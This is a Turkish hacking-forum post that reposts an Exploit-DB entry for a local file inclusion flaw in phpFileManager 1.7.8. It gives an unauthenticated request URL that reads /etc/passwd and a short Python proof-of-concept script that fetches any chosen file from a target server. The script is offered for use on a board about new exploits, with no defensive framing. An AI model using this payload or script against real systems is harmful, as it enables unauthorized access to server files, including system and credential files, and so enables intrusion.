İPUCU

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...

Seçenekler

phpFileManager 1.7.8 - Local File Inclusion

02-04-2019 18:18
#1
deargod - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2019
Nereden:
vice city
Mesajlar:
167
Teşekkür (Etti):
20
Teşekkür (Aldı):
36
Konular:
15
Ticaret:
(0) %
# Exploit Title/Explot Başlığı: phpFileManager 1.7.8 - Local File Inclusion
# Date/Tarih: 01.04.2019
# Exploit Author/Exploit Yazarı: Murat Kalafatoglu
# Vendor Homepage/Yapımcı Adresi: https://sourceforge.net/projects/phpfm/
# Software Demo/Demo Site: https://phpfm-demo.000webhostapp.com/
# Version: v1.7.8
# Category/Kategori: Webapps
# Tested on/Test Edilen Platform: XAMPP for Linux

# Açıklama: Herhangi bir kullanıcı bu açık ile sunucudaki dosyalara erişebilir.
Aşağıdaki adres ile doğrulama olmadan LFI kullanarak erişebilirsiniz.


Alıntı:
http://hedefurl/index.php?action=3&fm_current_dir=%2Fetc%2F&filena me=passwd
Alıntı:
# PoC

#!/usr/bin/python

import requests, sys

print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <target_ip/domain>"
exit(0)
ip_add = sys.argv[1]

dr = raw_input('[+] Directory: aka /etc/\n')
fd = raw_input('[+] File : aka passwd\n')

print "Exploiting....."
print '\n'

exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"")
print exp.text

# Exploit Adresi : https://www.exploit-db.com/exploits/46638
Kullanıcı İmzası
"Ulusal egemenlik öyle bir nurdur ki, onun karşısında zincirler erir, taç ve tahtlar yanar, mahvolur."
Mustafa Kemal ATATÜRK

telegram: deargod_tht
ivanwasilevic Teşekkür etti.


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı